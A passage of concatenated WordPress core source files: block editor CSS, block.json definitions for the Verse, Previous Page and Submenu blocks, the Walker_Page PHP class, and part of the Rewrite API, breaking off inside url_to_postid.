.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{
  display:block;
}

.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
  height:50vh !important;
}
@media (min-width:960px){
  .block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){
    height:9999rem;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{
    height:100%;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{
    height:calc(100% - 52px);
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{
    display:flex;
    flex-direction:column;
    height:100%;
    min-width:50vw;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{
    display:flex;
    flex-direction:column;
    flex-grow:1;
  }
  .block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{
    flex-grow:1;
    height:10px !important;
  }
}
.block-editor-freeform-modal__actions{
  margin-top:16px;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/verse",
	"title": "Verse",
	"category": "text",
	"description": "Insert poetry. Use special spacing formats. Or quote song lyrics.",
	"keywords": [ "poetry", "poem" ],
	"textdomain": "default",
	"attributes": {
		"content": {
			"type": "rich-text",
			"source": "rich-text",
			"selector": "pre",
			"__unstablePreserveWhiteSpace": true,
			"__experimentalRole": "content"
		},
		"textAlign": {
			"type": "string"
		}
	},
	"supports": {
		"anchor": true,
		"color": {
			"gradients": true,
			"link": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"__experimentalFontFamily": true,
			"lineHeight": true,
			"__experimentalFontStyle": true,
			"__experimentalFontWeight": true,
			"__experimentalLetterSpacing": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"width": true,
			"color": true,
			"style": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-verse",
	"editorStyle": "wp-block-verse-editor"
}
pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}pre.wp-block-verse{overflow:auto;white-space:pre-wrap}:where(pre.wp-block-verse){font-family:inherit}pre.wp-block-verse{
  overflow:auto;
  white-space:pre-wrap;
}

:where(pre.wp-block-verse){
  font-family:inherit;
}{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-pagination-previous",
	"title": "Previous Page",
	"category": "theme",
	"parent": [ "core/query-pagination" ],
	"description": "Displays the previous posts page link.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		}
	},
	"usesContext": [
		"queryId",
		"query",
		"paginationArrow",
		"showLabel",
		"enhancedPagination"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"color": {
			"gradients": true,
			"text": false,
			"__experimentalDefaultControls": {
				"background": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	}
}
{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/navigation-submenu",
	"title": "Submenu",
	"category": "design",
	"parent": [ "core/navigation" ],
	"description": "Add a submenu to your navigation.",
	"textdomain": "default",
	"attributes": {
		"label": {
			"type": "string"
		},
		"type": {
			"type": "string"
		},
		"description": {
			"type": "string"
		},
		"rel": {
			"type": "string"
		},
		"id": {
			"type": "number"
		},
		"opensInNewTab": {
			"type": "boolean",
			"default": false
		},
		"url": {
			"type": "string"
		},
		"title": {
			"type": "string"
		},
		"kind": {
			"type": "string"
		},
		"isTopLevelItem": {
			"type": "boolean"
		}
	},
	"usesContext": [
		"textColor",
		"customTextColor",
		"backgroundColor",
		"customBackgroundColor",
		"overlayTextColor",
		"customOverlayTextColor",
		"overlayBackgroundColor",
		"customOverlayBackgroundColor",
		"fontSize",
		"customFontSize",
		"showSubmenuIcon",
		"maxNestingLevel",
		"openSubmenusOnClick",
		"style"
	],
	"supports": {
		"reusable": false,
		"html": false,
		"interactivity": {
			"clientNavigation": true
		}
	},
	"editorStyle": "wp-block-navigation-submenu-editor",
	"style": "wp-block-navigation-submenu"
}
.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;left:-1px;min-width:200px!important;opacity:1!important;position:absolute;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}}.wp-block-navigation-submenu{
  display:block;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  min-width:200px !important;
  opacity:1 !important;
  position:absolute;
  right:-1px;
  top:100%;
  visibility:visible !important;
  width:auto !important;
}
@media (min-width:782px){
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    right:100%;
    top:-1px;
  }
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    left:100%;
    position:absolute;
    width:.5em;
  }
}.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;position:absolute;right:-1px;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{right:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;left:100%;position:absolute;width:.5em}}.wp-block-navigation-submenu{
  display:block;
}
.wp-block-navigation-submenu .wp-block-navigation__submenu-container{
  z-index:28;
}
.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{
  height:auto !important;
  left:-1px;
  min-width:200px !important;
  opacity:1 !important;
  position:absolute;
  top:100%;
  visibility:visible !important;
  width:auto !important;
}
@media (min-width:782px){
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{
    left:100%;
    top:-1px;
  }
  .wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{
    background:#0000;
    content:"";
    display:block;
    height:100%;
    position:absolute;
    right:100%;
    width:.5em;
  }
}<?php
/**
 * Post API: Walker_Page class
 *
 * @package WordPress
 * @subpackage Template
 * @since 4.4.0
 */

/**
 * Core walker class used to create an HTML list of pages.
 *
 * @since 2.1.0
 *
 * @see Walker
 */
class Walker_Page extends Walker {

	/**
	 * What the class handles.
	 *
	 * @since 2.1.0
	 * @var string
	 *
	 * @see Walker::$tree_type
	 */
	public $tree_type = 'page';

	/**
	 * Database fields to use.
	 *
	 * @since 2.1.0
	 * @var string[]
	 *
	 * @see Walker::$db_fields
	 * @todo Decouple this.
	 */
	public $db_fields = array(
		'parent' => 'post_parent',
		'id'     => 'ID',
	);

	/**
	 * Outputs the beginning of the current level in the tree before elements are output.
	 *
	 * @since 2.1.0
	 *
	 * @see Walker::start_lvl()
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Optional. Depth of page. Used for padding. Default 0.
	 * @param array  $args   Optional. Arguments for outputting the next level.
	 *                       Default empty array.
	 */
	public function start_lvl( &$output, $depth = 0, $args = array() ) {
		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		$indent  = str_repeat( $t, $depth );
		$output .= "{$n}{$indent}<ul class='children'>{$n}";
	}

	/**
	 * Outputs the end of the current level in the tree after elements are output.
	 *
	 * @since 2.1.0
	 *
	 * @see Walker::end_lvl()
	 *
	 * @param string $output Used to append additional content (passed by reference).
	 * @param int    $depth  Optional. Depth of page. Used for padding. Default 0.
	 * @param array  $args   Optional. Arguments for outputting the end of the current level.
	 *                       Default empty array.
	 */
	public function end_lvl( &$output, $depth = 0, $args = array() ) {
		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		$indent  = str_repeat( $t, $depth );
		$output .= "{$indent}</ul>{$n}";
	}

	/**
	 * Outputs the beginning of the current element in the tree.
	 *
	 * @see Walker::start_el()
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$page` to `$data_object` and `$current_page` to `$current_object_id`
	 *              to match parent class for PHP 8 named parameter support.
	 *
	 * @param string  $output            Used to append additional content. Passed by reference.
	 * @param WP_Post $data_object       Page data object.
	 * @param int     $depth             Optional. Depth of page. Used for padding. Default 0.
	 * @param array   $args              Optional. Array of arguments. Default empty array.
	 * @param int     $current_object_id Optional. ID of the current page. Default 0.
	 */
	public function start_el( &$output, $data_object, $depth = 0, $args = array(), $current_object_id = 0 ) {
		// Restores the more descriptive, specific name for use within this method.
		$page = $data_object;

		$current_page_id = $current_object_id;

		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		if ( $depth ) {
			$indent = str_repeat( $t, $depth );
		} else {
			$indent = '';
		}

		$css_class = array( 'page_item', 'page-item-' . $page->ID );

		if ( isset( $args['pages_with_children'][ $page->ID ] ) ) {
			$css_class[] = 'page_item_has_children';
		}

		if ( ! empty( $current_page_id ) ) {
			$_current_page = get_post( $current_page_id );

			if ( $_current_page && in_array( $page->ID, $_current_page->ancestors, true ) ) {
				$css_class[] = 'current_page_ancestor';
			}

			if ( $page->ID === (int) $current_page_id ) {
				$css_class[] = 'current_page_item';
			} elseif ( $_current_page && $page->ID === $_current_page->post_parent ) {
				$css_class[] = 'current_page_parent';
			}
		} elseif ( (int) get_option( 'page_for_posts' ) === $page->ID ) {
			$css_class[] = 'current_page_parent';
		}

		/**
		 * Filters the list of CSS classes to include with each page item in the list.
		 *
		 * @since 2.8.0
		 *
		 * @see wp_list_pages()
		 *
		 * @param string[] $css_class       An array of CSS classes to be applied to each list item.
		 * @param WP_Post  $page            Page data object.
		 * @param int      $depth           Depth of page, used for padding.
		 * @param array    $args            An array of arguments.
		 * @param int      $current_page_id ID of the current page.
		 */
		$css_classes = implode( ' ', apply_filters( 'page_css_class', $css_class, $page, $depth, $args, $current_page_id ) );
		$css_classes = $css_classes ? ' class="' . esc_attr( $css_classes ) . '"' : '';

		if ( '' === $page->post_title ) {
			/* translators: %d: ID of a post. */
			$page->post_title = sprintf( __( '#%d (no title)' ), $page->ID );
		}

		$args['link_before'] = empty( $args['link_before'] ) ? '' : $args['link_before'];
		$args['link_after']  = empty( $args['link_after'] ) ? '' : $args['link_after'];

		$atts                 = array();
		$atts['href']         = get_permalink( $page->ID );
		$atts['aria-current'] = ( $page->ID === (int) $current_page_id ) ? 'page' : '';

		/**
		 * Filters the HTML attributes applied to a page menu item's anchor element.
		 *
		 * @since 4.8.0
		 *
		 * @param array $atts {
		 *     The HTML attributes applied to the menu item's `<a>` element, empty strings are ignored.
		 *
		 *     @type string $href         The href attribute.
		 *     @type string $aria-current The aria-current attribute.
		 * }
		 * @param WP_Post $page            Page data object.
		 * @param int     $depth           Depth of page, used for padding.
		 * @param array   $args            An array of arguments.
		 * @param int     $current_page_id ID of the current page.
		 */
		$atts = apply_filters( 'page_menu_link_attributes', $atts, $page, $depth, $args, $current_page_id );

		$attributes = '';
		foreach ( $atts as $attr => $value ) {
			if ( is_scalar( $value ) && '' !== $value && false !== $value ) {
				$value       = ( 'href' === $attr ) ? esc_url( $value ) : esc_attr( $value );
				$attributes .= ' ' . $attr . '="' . $value . '"';
			}
		}

		$output .= $indent . sprintf(
			'<li%s><a%s>%s%s%s</a>',
			$css_classes,
			$attributes,
			$args['link_before'],
			/** This filter is documented in wp-includes/post-template.php */
			apply_filters( 'the_title', $page->post_title, $page->ID ),
			$args['link_after']
		);

		if ( ! empty( $args['show_date'] ) ) {
			if ( 'modified' === $args['show_date'] ) {
				$time = $page->post_modified;
			} else {
				$time = $page->post_date;
			}

			$date_format = empty( $args['date_format'] ) ? '' : $args['date_format'];
			$output     .= ' ' . mysql2date( $date_format, $time );
		}
	}

	/**
	 * Outputs the end of the current element in the tree.
	 *
	 * @since 2.1.0
	 * @since 5.9.0 Renamed `$page` to `$data_object` to match parent class for PHP 8 named parameter support.
	 *
	 * @see Walker::end_el()
	 *
	 * @param string  $output      Used to append additional content. Passed by reference.
	 * @param WP_Post $data_object Page data object. Not used.
	 * @param int     $depth       Optional. Depth of page. Default 0 (unused).
	 * @param array   $args        Optional. Array of arguments. Default empty array.
	 */
	public function end_el( &$output, $data_object, $depth = 0, $args = array() ) {
		if ( isset( $args['item_spacing'] ) && 'preserve' === $args['item_spacing'] ) {
			$t = "\t";
			$n = "\n";
		} else {
			$t = '';
			$n = '';
		}
		$output .= "</li>{$n}";
	}
}
<?php
/**
 * WordPress Rewrite API
 *
 * @package WordPress
 * @subpackage Rewrite
 */

/**
 * Endpoint mask that matches nothing.
 *
 * @since 2.1.0
 */
define( 'EP_NONE', 0 );

/**
 * Endpoint mask that matches post permalinks.
 *
 * @since 2.1.0
 */
define( 'EP_PERMALINK', 1 );

/**
 * Endpoint mask that matches attachment permalinks.
 *
 * @since 2.1.0
 */
define( 'EP_ATTACHMENT', 2 );

/**
 * Endpoint mask that matches any date archives.
 *
 * @since 2.1.0
 */
define( 'EP_DATE', 4 );

/**
 * Endpoint mask that matches yearly archives.
 *
 * @since 2.1.0
 */
define( 'EP_YEAR', 8 );

/**
 * Endpoint mask that matches monthly archives.
 *
 * @since 2.1.0
 */
define( 'EP_MONTH', 16 );

/**
 * Endpoint mask that matches daily archives.
 *
 * @since 2.1.0
 */
define( 'EP_DAY', 32 );

/**
 * Endpoint mask that matches the site root.
 *
 * @since 2.1.0
 */
define( 'EP_ROOT', 64 );

/**
 * Endpoint mask that matches comment feeds.
 *
 * @since 2.1.0
 */
define( 'EP_COMMENTS', 128 );

/**
 * Endpoint mask that matches searches.
 *
 * Note that this only matches a search at a "pretty" URL such as
 * `/search/my-search-term`, not `?s=my-search-term`.
 *
 * @since 2.1.0
 */
define( 'EP_SEARCH', 256 );

/**
 * Endpoint mask that matches category archives.
 *
 * @since 2.1.0
 */
define( 'EP_CATEGORIES', 512 );

/**
 * Endpoint mask that matches tag archives.
 *
 * @since 2.3.0
 */
define( 'EP_TAGS', 1024 );

/**
 * Endpoint mask that matches author archives.
 *
 * @since 2.1.0
 */
define( 'EP_AUTHORS', 2048 );

/**
 * Endpoint mask that matches pages.
 *
 * @since 2.1.0
 */
define( 'EP_PAGES', 4096 );

/**
 * Endpoint mask that matches all archive views.
 *
 * @since 3.7.0
 */
define( 'EP_ALL_ARCHIVES', EP_DATE | EP_YEAR | EP_MONTH | EP_DAY | EP_CATEGORIES | EP_TAGS | EP_AUTHORS );

/**
 * Endpoint mask that matches everything.
 *
 * @since 2.1.0
 */
define( 'EP_ALL', EP_PERMALINK | EP_ATTACHMENT | EP_ROOT | EP_COMMENTS | EP_SEARCH | EP_PAGES | EP_ALL_ARCHIVES );

/**
 * Adds a rewrite rule that transforms a URL structure to a set of query vars.
 *
 * Any value in the $after parameter that isn't 'bottom' will result in the rule
 * being placed at the top of the rewrite rules.
 *
 * @since 2.1.0
 * @since 4.4.0 Array support was added to the `$query` parameter.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string       $regex Regular expression to match request against.
 * @param string|array $query The corresponding query vars for this rewrite rule.
 * @param string       $after Optional. Priority of the new rule. Accepts 'top'
 *                            or 'bottom'. Default 'bottom'.
 */
function add_rewrite_rule( $regex, $query, $after = 'bottom' ) {
	global $wp_rewrite;

	$wp_rewrite->add_rule( $regex, $query, $after );
}

/**
 * Adds a new rewrite tag (like %postname%).
 *
 * The `$query` parameter is optional. If it is omitted you must ensure that you call
 * this on, or before, the {@see 'init'} hook. This is because `$query` defaults to
 * `$tag=`, and for this to work a new query var has to be added.
 *
 * @since 2.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $tag   Name of the new rewrite tag.
 * @param string $regex Regular expression to substitute the tag for in rewrite rules.
 * @param string $query Optional. String to append to the rewritten query. Must end in '='. Default empty.
 */
function add_rewrite_tag( $tag, $regex, $query = '' ) {
	// Validate the tag's name.
	if ( strlen( $tag ) < 3 || '%' !== $tag[0] || '%' !== $tag[ strlen( $tag ) - 1 ] ) {
		return;
	}

	global $wp_rewrite, $wp;

	if ( empty( $query ) ) {
		$qv = trim( $tag, '%' );
		$wp->add_query_var( $qv );
		$query = $qv . '=';
	}

	$wp_rewrite->add_rewrite_tag( $tag, $regex, $query );
}

/**
 * Removes an existing rewrite tag (like %postname%).
 *
 * @since 4.5.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $tag Name of the rewrite tag.
 */
function remove_rewrite_tag( $tag ) {
	global $wp_rewrite;
	$wp_rewrite->remove_rewrite_tag( $tag );
}

/**
 * Adds a permalink structure.
 *
 * @since 3.0.0
 *
 * @see WP_Rewrite::add_permastruct()
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $name   Name for permalink structure.
 * @param string $struct Permalink structure.
 * @param array  $args   Optional. Arguments for building the rules from the permalink structure,
 *                       see WP_Rewrite::add_permastruct() for full details. Default empty array.
 */
function add_permastruct( $name, $struct, $args = array() ) {
	global $wp_rewrite;

	// Back-compat for the old parameters: $with_front and $ep_mask.
	if ( ! is_array( $args ) ) {
		$args = array( 'with_front' => $args );
	}

	if ( func_num_args() === 4 ) {
		$args['ep_mask'] = func_get_arg( 3 );
	}

	$wp_rewrite->add_permastruct( $name, $struct, $args );
}

/**
 * Removes a permalink structure.
 *
 * Can only be used to remove permastructs that were added using add_permastruct().
 * Built-in permastructs cannot be removed.
 *
 * @since 4.5.0
 *
 * @see WP_Rewrite::remove_permastruct()
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string $name Name for permalink structure.
 */
function remove_permastruct( $name ) {
	global $wp_rewrite;

	$wp_rewrite->remove_permastruct( $name );
}

/**
 * Adds a new feed type like /atom1/.
 *
 * @since 2.1.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string   $feedname Feed name.
 * @param callable $callback Callback to run on feed display.
 * @return string Feed action name.
 */
function add_feed( $feedname, $callback ) {
	global $wp_rewrite;

	if ( ! in_array( $feedname, $wp_rewrite->feeds, true ) ) {
		$wp_rewrite->feeds[] = $feedname;
	}

	$hook = 'do_feed_' . $feedname;

	// Remove default function hook.
	remove_action( $hook, $hook );

	add_action( $hook, $callback, 10, 2 );

	return $hook;
}

/**
 * Removes rewrite rules and then recreate rewrite rules.
 *
 * @since 3.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param bool $hard Whether to update .htaccess (hard flush) or just update
 *                   rewrite_rules option (soft flush). Default is true (hard).
 */
function flush_rewrite_rules( $hard = true ) {
	global $wp_rewrite;

	if ( is_callable( array( $wp_rewrite, 'flush_rules' ) ) ) {
		$wp_rewrite->flush_rules( $hard );
	}
}

/**
 * Adds an endpoint, like /trackback/.
 *
 * Adding an endpoint creates extra rewrite rules for each of the matching
 * places specified by the provided bitmask. For example:
 *
 *     add_rewrite_endpoint( 'json', EP_PERMALINK | EP_PAGES );
 *
 * will add a new rewrite rule ending with "json(/(.*))?/?$" for every permastruct
 * that describes a permalink (post) or page. This is rewritten to "json=$match"
 * where $match is the part of the URL matched by the endpoint regex (e.g. "foo" in
 * "[permalink]/json/foo/").
 *
 * A new query var with the same name as the endpoint will also be created.
 *
 * When specifying $places ensure that you are using the EP_* constants (or a
 * combination of them using the bitwise OR operator) as their values are not
 * guaranteed to remain static (especially `EP_ALL`).
 *
 * Be sure to flush the rewrite rules - see flush_rewrite_rules() - when your plugin gets
 * activated and deactivated.
 *
 * @since 2.1.0
 * @since 4.3.0 Added support for skipping query var registration by passing `false` to `$query_var`.
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 *
 * @param string      $name      Name of the endpoint.
 * @param int         $places    Endpoint mask describing the places the endpoint should be added.
 *                               Accepts a mask of:
 *                               - `EP_ALL`
 *                               - `EP_NONE`
 *                               - `EP_ALL_ARCHIVES`
 *                               - `EP_ATTACHMENT`
 *                               - `EP_AUTHORS`
 *                               - `EP_CATEGORIES`
 *                               - `EP_COMMENTS`
 *                               - `EP_DATE`
 *                               - `EP_DAY`
 *                               - `EP_MONTH`
 *                               - `EP_PAGES`
 *                               - `EP_PERMALINK`
 *                               - `EP_ROOT`
 *                               - `EP_SEARCH`
 *                               - `EP_TAGS`
 *                               - `EP_YEAR`
 * @param string|bool $query_var Name of the corresponding query variable. Pass `false` to skip registering a query_var
 *                               for this endpoint. Defaults to the value of `$name`.
 */
function add_rewrite_endpoint( $name, $places, $query_var = true ) {
	global $wp_rewrite;
	$wp_rewrite->add_endpoint( $name, $places, $query_var );
}

/**
 * Filters the URL base for taxonomies.
 *
 * To remove any manually prepended /index.php/.
 *
 * @access private
 * @since 2.6.0
 *
 * @param string $base The taxonomy base that we're going to filter
 * @return string
 */
function _wp_filter_taxonomy_base( $base ) {
	if ( ! empty( $base ) ) {
		$base = preg_replace( '|^/index\.php/|', '', $base );
		$base = trim( $base, '/' );
	}
	return $base;
}


/**
 * Resolves numeric slugs that collide with date permalinks.
 *
 * Permalinks of posts with numeric slugs can sometimes look to WP_Query::parse_query()
 * like a date archive, as when your permalink structure is `/%year%/%postname%/` and
 * a post with post_name '05' has the URL `/2015/05/`.
 *
 * This function detects conflicts of this type and resolves them in favor of the
 * post permalink.
 *
 * Note that, since 4.3.0, wp_unique_post_slug() prevents the creation of post slugs
 * that would result in a date archive conflict. The resolution performed in this
 * function is primarily for legacy content, as well as cases when the admin has changed
 * the site's permalink structure in a way that introduces URL conflicts.
 *
 * @since 4.3.0
 *
 * @param array $query_vars Optional. Query variables for setting up the loop, as determined in
 *                          WP::parse_request(). Default empty array.
 * @return array Returns the original array of query vars, with date/post conflicts resolved.
 */
function wp_resolve_numeric_slug_conflicts( $query_vars = array() ) {
	if ( ! isset( $query_vars['year'] ) && ! isset( $query_vars['monthnum'] ) && ! isset( $query_vars['day'] ) ) {
		return $query_vars;
	}

	// Identify the 'postname' position in the permastruct array.
	$permastructs   = array_values( array_filter( explode( '/', get_option( 'permalink_structure' ) ) ) );
	$postname_index = array_search( '%postname%', $permastructs, true );

	if ( false === $postname_index ) {
		return $query_vars;
	}

	/*
	 * A numeric slug could be confused with a year, month, or day, depending on position. To account for
	 * the possibility of post pagination (eg 2015/2 for the second page of a post called '2015'), our
	 * `is_*` checks are generous: check for year-slug clashes when `is_year` *or* `is_month`, and check
	 * for month-slug clashes when `is_month` *or* `is_day`.
	 */
	$compare = '';
	if ( 0 === $postname_index && ( isset( $query_vars['year'] ) || isset( $query_vars['monthnum'] ) ) ) {
		$compare = 'year';
	} elseif ( $postname_index && '%year%' === $permastructs[ $postname_index - 1 ] && ( isset( $query_vars['monthnum'] ) || isset( $query_vars['day'] ) ) ) {
		$compare = 'monthnum';
	} elseif ( $postname_index && '%monthnum%' === $permastructs[ $postname_index - 1 ] && isset( $query_vars['day'] ) ) {
		$compare = 'day';
	}

	if ( ! $compare ) {
		return $query_vars;
	}

	// This is the potentially clashing slug.
	$value = '';
	if ( $compare && array_key_exists( $compare, $query_vars ) ) {
		$value = $query_vars[ $compare ];
	}

	$post = get_page_by_path( $value, OBJECT, 'post' );
	if ( ! ( $post instanceof WP_Post ) ) {
		return $query_vars;
	}

	// If the date of the post doesn't match the date specified in the URL, resolve to the date archive.
	if ( preg_match( '/^([0-9]{4})\-([0-9]{2})/', $post->post_date, $matches ) && isset( $query_vars['year'] ) && ( 'monthnum' === $compare || 'day' === $compare ) ) {
		// $matches[1] is the year the post was published.
		if ( (int) $query_vars['year'] !== (int) $matches[1] ) {
			return $query_vars;
		}

		// $matches[2] is the month the post was published.
		if ( 'day' === $compare && isset( $query_vars['monthnum'] ) && (int) $query_vars['monthnum'] !== (int) $matches[2] ) {
			return $query_vars;
		}
	}

	/*
	 * If the located post contains nextpage pagination, then the URL chunk following postname may be
	 * intended as the page number. Verify that it's a valid page before resolving to it.
	 */
	$maybe_page = '';
	if ( 'year' === $compare && isset( $query_vars['monthnum'] ) ) {
		$maybe_page = $query_vars['monthnum'];
	} elseif ( 'monthnum' === $compare && isset( $query_vars['day'] ) ) {
		$maybe_page = $query_vars['day'];
	}
	// Bug found in #11694 - 'page' was returning '/4'.
	$maybe_page = (int) trim( $maybe_page, '/' );

	$post_page_count = substr_count( $post->post_content, '<!--nextpage-->' ) + 1;

	// If the post doesn't have multiple pages, but a 'page' candidate is found, resolve to the date archive.
	if ( 1 === $post_page_count && $maybe_page ) {
		return $query_vars;
	}

	// If the post has multiple pages and the 'page' number isn't valid, resolve to the date archive.
	if ( $post_page_count > 1 && $maybe_page > $post_page_count ) {
		return $query_vars;
	}

	// If we've gotten to this point, we have a slug/date clash. First, adjust for nextpage.
	if ( '' !== $maybe_page ) {
		$query_vars['page'] = (int) $maybe_page;
	}

	// Next, unset autodetected date-related query vars.
	unset( $query_vars['year'] );
	unset( $query_vars['monthnum'] );
	unset( $query_vars['day'] );

	// Then, set the identified post.
	$query_vars['name'] = $post->post_name;

	// Finally, return the modified query vars.
	return $query_vars;
}

/**
 * Examines a URL and try to determine the post ID it represents.
 *
 * Checks are supposedly from the hosted site blog.
 *
 * @since 1.0.0
 *
 * @global WP_Rewrite $wp_rewrite WordPress rewrite component.
 * @global WP         $wp         Current WordPress environment instance.
 *
 * @param string $url Permalink to check.
 * @return int Post ID, or 0 on failure.
 */
function url_to_postid( $url ) {
	global $wp_rewrite;

	/**
	 * Filters the URL to derive the post ID from.
	 *
	 * @since 2.2.0
	 *
	 * @param string $url The URL to derive the post ID from.
	 */
	$url = apply_filters( 'url_to_postid', $url );

	$url_host = parse_url( $url, PHP_URL_HOST );

	if ( is_string( $url_host ) ) {
		$url_host = str_replace( 'www.', '', $url_host );
	} else {
		$url_host = '';
	}

	$home_url_host = parse_url( home_url(), PHP_URL_HOST );

	if ( is_string( $home_url_host ) ) {
		$home_url_host = str_replace( 'www.', '', $home_url_host );
	} else {
		$home_url_host = '';
	}

	// Bail early if the URL does not belong to this site.
	if ( $url_host && $url_host !== $home_url_host ) {
		return 0;
	}

	// First, check to see if there is a 'p=N' or 'page_id=N' to match against.
	if ( preg_match( '#[?&](p|page_id|attachment_id)=(\d+)#', $url, $values ) ) {
		$id = absint( $values[2] );
		if ( $id ) {
			return $id;
		}
	}

	// Get rid of the #anchor.
	$url_split = explode( '#', $url );
	$url       = $url_split[0];

	// Get rid of URL ?query=string.
	$url_split = explode( '?', $url );
	$url       = $url_split[0];

	// Set the correct URL scheme.
	$scheme = parse_url( home_url(), PHP_URL_SCHEME );
	$url    = set_url_scheme( $url, $scheme );

	// Add 'www.' if it is absent and should be there.
	if ( str_contains( home_url(), '://www.' ) && ! str_contains( $url, '://www.' ) ) {
		$url = str_replace( '://', '://www.', $url );
	}

	// Strip 'www.' if it is present and shouldn't be.
	if ( ! str_contains( home_url(), '://www.' ) ) {
		$url = str_replace( '://www.', '://', $url );
	}

	if ( trim( $url, '/' ) === home_url() && 'page' === get_option( 'show_on_front' ) ) {
